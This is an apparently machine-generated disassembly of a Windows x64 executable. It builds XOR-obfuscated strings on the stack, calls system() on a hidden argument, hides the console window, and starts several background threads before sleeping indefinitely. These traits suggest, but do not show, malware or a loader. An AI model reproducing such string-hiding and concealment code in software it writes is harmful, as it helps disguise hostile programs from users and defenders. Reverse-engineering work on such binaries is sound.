mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3690], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3698], rax
movdqa xmm0, xmmword [rbp + 0x5a0]
pxor xmm0, xmmword [rbp + 0x3690]
movdqa xmmword [rbp + 0x5a0], xmm0
lea rcx, [rbp + 0x21e8]
call fcn.140034cd0
mov rdi, rax
movabs rax, 0x483971336529739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x590], rcx
movabs rax, 0x8fbdb4b60b364ee3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x598], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x3680], rcx
movabs r14, 0x8fbdb4b62b167486
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3688], rax
movdqa xmm0, xmmword [rbp + 0x590]
pxor xmm0, xmmword [rbp + 0x3680]
movdqa xmmword [rbp + 0x590], xmm0
movabs rax, 0xc91b756366bfb39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x580], rax
movabs r15, 0x8fbdb4b62b3654bc
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x588], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3670], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3678], rax
movdqa xmm0, xmmword [rbp + 0x580]
pxor xmm0, xmmword [rbp + 0x3670]
movdqa xmmword [rbp + 0x580], xmm0
mov edx, 0x7a
lea rcx, [rbp + 0x2548]
call fcn.1400112d0
mov rbx, rax
movabs rax, 0x483ab543a70e739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x740], rcx
movabs rax, 0xe1d2ddc5597322a6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x748], rcx
movabs rax, 0xe0d7f665447505a9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x750], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3480], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3488], rax
movabs rcx, 0xe0d7f66544552593
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3490], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3498], rax
vmovdqu ymm0, ymmword [rbp + 0x740]
vpxor ymm1, ymm0, ymmword [rbp + 0x3480]
vmovdqa ymmword [rbp + 0x740], ymm1
movabs rax, 0x78db0402767e139
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x570], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x578], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3660], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3668], rax
vmovdqa xmm0, xmmword [rbp + 0x570]
vpxor xmm0, xmm0, xmmword [rbp + 0x3660]
vmovdqa xmmword [rbp + 0x570], xmm0
movabs rax, 0x1d91ac617562d779
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12c0], rax
movabs rax, 0xe6dcf296446424a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12c8], rax
movabs rax, 0x84b9c545643140ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12d0], rax
movabs rax, 0x12648359853d2288
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12d8], rax
movabs rax, 0x4a82123f1b9a182d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12e0], rax
movabs rdx, 0x2347e3d20914cdaa
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x12e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3b40], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3b48], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3b50], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3b58], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b60], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3b68], rax
vmovdqu ymm0, ymmword [rbp + 0x12c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3b40]
vmovdqa ymmword [rbp + 0x12c0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x12e0]
vpxor xmm0, xmm0, xmmword [rbp + 0x3b60]
vmovdqa xmmword [rbp + 0x12e0], xmm0
lea r8, [0x140127090]
lea rdx, [rbp + 0x12c0]
lea rcx, [rbp + 0x2568]
vzeroupper
call fcn.14003f9f0
nop
lea r8, [rbp + 0x570]
mov rdx, rax
lea rcx, [rbp + 0x2588]
call fcn.14003fb50
nop
lea r8, [0x1401284a0]
mov rdx, rax
lea rcx, [rbp + 0x25a8]
call fcn.1400404b0
nop
lea r8, [rbp + 0x740]
mov rdx, rax
lea rcx, [rbp + 0x25c8]
call fcn.14003fb50
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x25e8]
call fcn.140040490
nop
lea r8, [rbp + 0x580]
mov rdx, rax
lea rcx, [rbp + 0x2608]
call fcn.14003fb50
nop
lea r8, [rbp + 0x2c48]
mov rdx, rax
lea rcx, [rbp + 0x2628]
call fcn.1400404b0
nop
lea r8, [rbp + 0x590]
mov rdx, rax
lea rcx, [rbp + 0x2648]
call fcn.14003fb50
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x2668]
call fcn.140040490
nop
lea r8, [rbp + 0x5a0]
mov rdx, rax
lea rcx, [rbp + 0x2688]
call fcn.14003fb50
nop
lea r8, [rbp + 0x30e8]
mov rdx, rax
lea rcx, [rbp + 0x26a8]
call fcn.1400404b0
nop
lea r8, [rbp + 0x5b0]
mov rdx, rax
lea rcx, [rbp + 0x26c8]
call fcn.14003fb50
nop
mov rdx, rsi
mov rcx, rax
call fcn.14002ed50
nop
lea rcx, [rbp + 0x26a8]
call fcn.140007240
nop
lea rcx, [rbp + 0x2688]
call fcn.140007240
nop
lea rcx, [rbp + 0x2668]
call fcn.140007240
nop
lea rcx, [rbp + 0x2648]
call fcn.140007240
nop
lea rcx, [rbp + 0x2628]
call fcn.140007240
nop
lea rcx, [rbp + 0x2608]
call fcn.140007240
nop
lea rcx, [rbp + 0x25e8]
call fcn.140007240
nop
lea rcx, [rbp + 0x25c8]
call fcn.140007240
nop
lea rcx, [rbp + 0x25a8]
call fcn.140007240
nop
lea rcx, [rbp + 0x2588]
call fcn.140007240
nop
lea rcx, [rbp + 0x2568]
call fcn.140007240
nop
lea rcx, [rbp + 0x2548]
call fcn.140007240
nop
lea rcx, [rbp + 0x21e8]
call fcn.140007240
call fcn.1400344c0
mov ecx, 0x21d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0x2c48]
lea rcx, [rbp + 0x21a8]
call fcn.14000e430
mov rcx, rax
call fcn.140033cf0
test al, al
je 0x14003d8bd
lea rcx, [0x14010748c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
mov byte [rbp + 0x104], al
mov byte [rbp + 0x105], al
mov byte [rbp + 0x106], al
movabs r12, 0x6818551305e8d5a
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x5c0], rax
movabs rax, 0x8fbdb4c54c7f12e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5c8], rax
movabs rsi, 0x69e2d9335502b719
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3650], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3658], rax
movdqa xmm0, xmmword [rbp + 0x5c0]
pxor xmm0, xmmword [rbp + 0x3650]
movdqa xmmword [rbp + 0x5c0], xmm0
lea rax, [rbp + 0x5c0]
mov qword [rbp + 0x680], rax
xor r8d, r8d
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x1490]
call fcn.1400407b0
nop
lea rcx, [rbp + 0x1490]
call fcn.140011190
nop
lea rcx, [rbp + 0x1490]
call fcn.1400071e0
xor eax, eax
mov byte [rbp + 0x107], al
mov byte [rbp + 0x108], al
mov byte [rbp + 0x109], al
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
movabs r13, 0xead1e8c54c7f12e8
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
movabs rax, 0xe0b090066a214cf4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
movabs r14, 0x325eed30e2526ea8
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3f00], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3f08], rax
movabs r15, 0xe0d7f66544552593
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3f10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3f18], rax
vmovdqu ymm0, ymmword [rbp + 0x760]
vpxor ymm1, ymm0, ymmword [rbp + 0x3f00]
vmovdqa ymmword [rbp + 0x760], ymm1
lea rax, [rbp + 0x760]
mov qword [rbp + 0x630], rax
xor r8d, r8d
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x14b0]
vzeroupper
call fcn.1400407b0
nop
lea rcx, [rbp + 0x14b0]
call fcn.140010ee0
movzx ebx, al
lea rcx, [rbp + 0x14b0]
call fcn.1400071e0
test bl, bl
jne 0x14003d57a
xor eax, eax
mov byte [rbp + 0x10a], al
mov byte [rbp + 0x10b], al
mov byte [rbp + 0x10c], al
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x780], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x788], rax
movabs rax, 0xe0b090066a214cf4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x790], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x798], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3ec0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3ec8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3ed0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3ed8], rax
vmovdqu ymm0, ymmword [rbp + 0x780]
vpxor ymm1, ymm0, ymmword [rbp + 0x3ec0]
vmovdqa ymmword [rbp + 0x780], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x2828]
vzeroupper
call fcn.14003ed20
lea rcx, [rbp + 0x2828]
call fcn.1400044c0
xor eax, eax
mov byte [rbp + 0x10d], al
mov byte [rbp + 0x10e], al
mov byte [rbp + 0x10f], al
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
movabs rax, 0xeacee8c54c7f12e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
movabs rax, 0xceb29104360a4cfe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
movabs rax, 0x325eed30e23508cb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4300], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4308], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4310], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4318], rax
vmovdqu ymm0, ymmword [rbp + 0x7a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4300]
vmovdqa ymmword [rbp + 0x7a0], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x7a0]
lea rcx, [rbp + 0x2930]
vzeroupper
call fcn.14003ed20
lea rcx, [rbp + 0x2930]
call fcn.1400044c0
xor eax, eax
mov byte [rbp + 0x110], al
mov byte [rbp + 0x111], al
mov byte [rbp + 0x112], al
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7c0], rax
movabs rax, 0xeecfe8c54c7f12e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7c8], rax
movabs rax, 0xe0d79103277b40f4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4320], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4328], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4330], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4338], rax
vmovdqu ymm0, ymmword [rbp + 0x7c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4320]
vmovdqa ymmword [rbp + 0x7c0], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x2a38]
vzeroupper
call fcn.14003ed20
lea rcx, [rbp + 0x2a38]
call fcn.1400044c0
xor eax, eax
mov byte [rbp + 0x113], al
mov byte [rbp + 0x114], al
mov byte [rbp + 0x115], al
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x7e0], rax
movabs rax, 0xfadee8c54c7f12e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7e8], rax
movabs rax, 0x87b1954b293a51e0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7f8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x4340], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x4348], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x4350], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4358], rax
vmovdqu ymm0, ymmword [rbp + 0x7e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4340]
vmovdqa ymmword [rbp + 0x7e0], ymm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0x2b40]
vzeroupper
call fcn.14003ed20
lea rcx, [rbp + 0x2b40]
call fcn.1400044c0
lea rcx, [0x1401270b0]
call fcn.14000d9e0
xor eax, eax
mov byte [rbp + 0x116], al
mov byte [rbp + 0x117], al
mov byte [rbp + 9], al
movabs rax, 0x88e894a216bd94c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d0], rax
movabs rax, 0x8fd1d8d2056411ff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3640], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3648], rax
movdqa xmm0, xmmword [rbp + 0x5d0]
pxor xmm0, xmmword [rbp + 0x3640]
movdqa xmmword [rbp + 0x5d0], xmm0
lea rdx, [rbp + 0x5d0]
lea rcx, [0x140128518]
call fcn.1400115b0
mov qword [0x140128528], rax
cmp qword [0x140128520], 0
jne 0x14003d78d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
mov byte [rbp + 9], al
mov byte [rbp + 9], al
mov byte [rbp + 9], al
mov byte [rbp + 9], al
mov byte [rbp + 9], al
mov byte [rbp + 9], al
movabs rax, 0x69e2d9413a70c55c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x5e8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3630], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3638], rax
movdqa xmm0, xmmword [rbp + 0x5e0]
pxor xmm0, xmmword [rbp + 0x3630]
movdqa xmmword [rbp + 0x5e0], xmm0
movabs rax, 0x1cb0f956266ddb5a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
movabs rax, 0xc39ddac3793600f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
movabs rax, 0x8796d617213144fc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
movabs rax, 0x325eed30e23c07c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x3480], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3488], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3490], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3498], rax
vmovdqu ymm0, ymmword [rbp + 0x3480]
vpxor ymm1, ymm0, ymmword [rbp + 0x800]
vmovdqa ymmword [rbp + 0x800], ymm1
mov r9d, 0x40030
lea r8, [rbp + 0x5e0]
lea rdx, [rbp + 0x800]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r8d, r8d
xor edx, edx
lea rcx, [0x14002eeb0]
call fcn.14002eb70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14002f150]
call fcn.14002eb70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14002f320]
call fcn.14002eb70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140033be0]
call fcn.14002eb70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
lea rcx, [0x14002f4f0]
call fcn.14002eb70
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x2d80]
call fcn.140007240
nop
lea rcx, [rbp + 0x3150]
call fcn.14000dce0
nop
lea rcx, [rbp + 0x2c48]
call fcn.140007240
nop
lea rcx, [rbp + 0x2d60]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ea0]
call fcn.14003eca0
nop
lea rcx, [rbp + 0x2d40]
call fcn.140007240
nop
lea rcx, [rbp + 0x2d20]
call fcn.140007240
nop
lea rcx, [rbp + 0x2d00]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ce0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2cc0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ca0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2c68]
call fcn.1400114b0
xor eax, eax
jmp 0x14003ec6f
lea rax, [rbp + 0x2188]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0x46cde3402576c371
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb48], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb50], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb58], rax
movabs rax, 0x78b4200c29a82922
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb60], rax
movabs rax, 0x1b7fd2e13027ff9f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb68], rax
movabs rax, 0x3313f4ee23e6d9d2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb70], rax
movabs rax, 0xd96d8b49e3061cab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb78], rax
movabs rax, 0xc156d2be2eb41834
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb80], rax
movabs rax, 0xade382af726101f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb88], rax
movabs rax, 0xdc8e38e9d39cda2a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb90], rax
movabs rax, 0xd77d88fa2f324123
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xb98], rax
movabs rax, 0x88a6f2c149120f16
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xba0], rax
movabs rax, 0x94e50dcdf798092a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xba8], rax
movabs rax, 0x818fc43556cec199
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbb0], rax
movabs rax, 0x280804976705c5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbb8], rax
movabs r12, 0x69e2d9335502b719
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x34a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x34a8], rax
movabs rax, 0xe0d7f66544552593
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34b0], rax
movabs r13, 0x325eed30e2526ea8
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x34b8], rax
movabs rax, 0x4a82123f1b9a180d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c0], rax
movabs rax, 0x2347e3d20914cdaa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34c8], rax
movabs rax, 0x623bec11adeece7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d0], rax
movabs rax, 0xb529d40c886452cc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34d8], rax
movabs rax, 0xa009b18b7dfd7e01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e0], rax
movabs rax, 0x6fae626ea115274e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x34e8], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x34f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x34f8], rax
movabs rax, 0xe7deab9770505e55
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3500], rax
movabs rax, 0xf5815baaa2fc7372
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3508], rax
movabs rax, 0xe5fdac79668bbbcf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3510], rax
movabs rax, 0x28080497670594
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3518], rax
vmovdqu ymm0, ymmword [rbp + 0xb40]
vpxor ymm1, ymm0, ymmword [rbp + 0x34a0]
vmovdqa ymmword [rbp + 0xb40], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb60]
vpxor ymm1, ymm0, ymmword [rbp + 0x34c0]
vmovdqa ymmword [rbp + 0xb60], ymm1
vmovdqu ymm0, ymmword [rbp + 0xb80]
vpxor ymm1, ymm0, ymmword [rbp + 0x34e0]
vmovdqa ymmword [rbp + 0xb80], ymm1
vmovdqu ymm0, ymmword [rbp + 0xba0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3500]
vmovdqa ymmword [rbp + 0xba0], ymm1
lea rdx, [rbp + 0xb40]
lea rcx, [rbp + 0x2188]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0x69e2d9335562d779
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x1f0], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x1f8], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x3620], rcx
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3628], rax
movdqa xmm0, xmmword [rbp + 0x1f0]
pxor xmm0, xmmword [rbp + 0x3620]
movdqa xmmword [rbp + 0x1f0], xmm0
movabs rax, 0x5390b64127479739
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x620], rax
movabs rax, 0x8fbdb4b62b1654a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x628], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x38a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x38a8], rax
movdqa xmm0, xmmword [rbp + 0x620]
pxor xmm0, xmmword [rbp + 0x38a0]
movdqa xmmword [rbp + 0x620], xmm0
lea rcx, [rbp + 0x2328]
call fcn.140034cd0
mov rdi, rax
movabs rax, 0x483971336529739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x610], rcx
movabs rax, 0x8fbdb4b60b364ee3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x618], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x3610], rcx
movabs r14, 0x8fbdb4b62b167486
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3618], rax
movdqa xmm0, xmmword [rbp + 0x610]
pxor xmm0, xmmword [rbp + 0x3610]
movdqa xmmword [rbp + 0x610], xmm0
movabs rax, 0xc91b756366bfb39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
movabs r15, 0x8fbdb4b62b3654bc
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3600], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3608], rax
movdqa xmm0, xmmword [rbp + 0x600]
pxor xmm0, xmmword [rbp + 0x3600]
movdqa xmmword [rbp + 0x600], xmm0
mov edx, 0x7a
lea rcx, [rbp + 0x2308]
call fcn.1400112d0
mov rbx, rax
movabs rax, 0x483ab543a70e739
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x820], rcx
movabs rax, 0xe1d2ddc5597322a6
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x828], rcx
movabs rax, 0xe0d7f665447505a9
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x830], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x838], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3480], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3488], rax
movabs rcx, 0xe0d7f66544552593
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3490], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3498], rax
vmovdqu ymm0, ymmword [rbp + 0x820]
vpxor ymm1, ymm0, ymmword [rbp + 0x3480]
vmovdqa ymmword [rbp + 0x820], ymm1
movabs rax, 0x78db0402767e139
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x5f0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x5f8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x35f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x35f8], rax
vmovdqa xmm0, xmmword [rbp + 0x5f0]
vpxor xmm0, xmm0, xmmword [rbp + 0x35f0]
vmovdqa xmmword [rbp + 0x5f0], xmm0
movabs rax, 0x1d91ac617562d779
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1240], rax
movabs rax, 0xe6dcf296446424a6
